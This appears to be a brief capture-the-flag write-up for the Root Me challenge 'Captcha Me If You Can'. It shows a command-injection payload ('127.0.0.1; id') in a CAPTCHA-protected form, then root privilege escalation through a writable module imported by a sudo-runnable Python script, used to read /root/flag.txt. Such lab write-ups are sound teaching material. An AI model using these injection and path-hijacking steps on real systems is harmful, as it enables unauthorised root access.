Captcha Me If You Can Root Me May 2026

127.0.0.1; id Got uid=www-data sudo -l → user can run /usr/bin/python3 /opt/script.py as root.

import os os.system("cat /root/flag.txt") ✅ RM{...} captured. captcha me if you can root me

Script imports a writable module → path hijacking: even behind a CAPTCHA.

CAPTCHA without rate-limiting + hidden command injection = game over. captcha me if you can root me

🎯 Never trust user input, even behind a CAPTCHA.